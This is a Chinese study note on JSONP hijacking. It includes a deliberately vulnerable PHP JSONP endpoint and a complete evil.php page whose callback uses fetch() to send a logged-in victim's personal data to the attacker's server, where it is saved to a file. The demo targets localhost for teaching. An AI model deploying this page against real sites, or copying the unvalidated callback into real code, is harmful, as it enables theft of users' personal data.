jsonp漏洞学习笔记

原理

jsonp（JSON with Padding）是json的一种”使用模式”，实现了跨域读取数据。由于浏览器存在同源策略，ajax只能请求到同源的域（域名、协议、端口都相同），而script标签的src属性不受同源策略的限制，所以通过script标签进行跨域传输比较方便。

如果我们访问了一个恶意页面，这个页面上存在一段恶意js，请求了正常页面的jsonp接口，这个jsonp接口可以返回个人信息。从而恶意页面就可以读取这段数据，获得了用户的个人信息。下图中的A站就是恶意页面，而B站就是正常页面。需要注意的是，这个操作需要用户在B站已经存在登录状态。

利用方式

演示demo

假设现在存在一个正常的页面user.php，有一个返回用户个人信息的接口，后端代码如下：

<?php
	$callback = $_GET['callback'];
    header('Content-type: application/json');
	print $callback.'({"id":"1","name":"alice","email":"alice@qq.com"})';
?>

前端代码如下，用script标签跨域请求jsonp资源，相当于调用了前端的info函数把获取到的资源显示在页面上，这就是很正常的一个网站。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>info api</title>
</head>
<body></body>
<script>info = (data) => {document.write(JSON.stringify(data))}</script>
<script src="http://localhost:81/user.php?callback=info"></script>
</html>

接下来构造一个恶意页面evil.php，让用户一访问到这个页面，就会请求查询他个人信息的接口，并且把获取到的数据上传

<?php file_put_contents('json.txt', $_GET['file']);?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Evil</title>
</head>
<body></body>
<script>
var test = (data) => {
    fetch('http://localhost:81/evil.php?file=' + JSON.stringify(data));
}
</script>
<script src="http://localhost:81/user.php?callback=test"></script>
</html>

用户访问这个evil.php页面后，第15行的代码就是请求了正常页面的获取个人信息的接口，第12行的就是用fetch发起一个get请求（辣鸡XMLHttpRequest写起来太费劲），将获取到的数据上传到服务器。第1行php接收到了个人信息的数据，就把数据写在了json.txt中。从而用户的个人信息被攻击者获取。